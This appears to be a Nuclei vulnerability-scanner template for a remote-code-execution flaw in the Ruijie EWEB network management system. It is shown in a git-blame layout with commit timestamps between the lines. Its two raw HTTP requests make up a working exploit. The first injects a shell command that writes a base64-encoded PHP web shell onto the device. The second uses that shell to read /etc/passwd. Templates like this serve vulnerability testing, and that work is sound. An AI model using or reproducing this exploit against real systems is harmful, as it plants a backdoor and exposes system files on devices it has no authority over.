2021-03-01 06:56:46 +00:00
|
|
|
id: ruijie-networks-rce
|
|
|
|
|
|
|
|
info:
|
2021-03-01 08:07:10 +00:00
|
|
|
name: Ruijie Networks-EWEB Network Management System RCE
|
2021-03-01 06:56:46 +00:00
|
|
|
author: pikpikcu
|
|
|
|
severity: critical
|
2021-08-19 13:17:27 +00:00
|
|
|
reference:
|
|
|
|
- https://github.com/yumusb/EgGateWayGetShell_py/blob/main/eg.py
|
|
|
|
- https://www.ruijienetworks.com # vendor homepage
|
2021-03-01 06:56:46 +00:00
|
|
|
tags: ruijie,rce
|
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /guest_auth/guestIsUp.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
|
|
|
|
|
|
|
|
ip=127.0.0.1|echo "PD9waHAKJGNtZD0kX0dFVFsnY21kJ107CnN5c3RlbSgkY21kKTsKPz4K"|base64 -d > poc.php&mac=00-00
|
|
|
|
|
|
|
|
- |
|
|
|
|
GET /guest_auth/poc.php?cmd=cat%20/etc/passwd HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
regex:
|
2021-07-24 21:35:55 +00:00
|
|
|
- "root:.*:0:0"
|
2021-03-01 06:56:46 +00:00
|
|
|
- "nobody:x:0:0:"
|
|
|
|
part: body
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|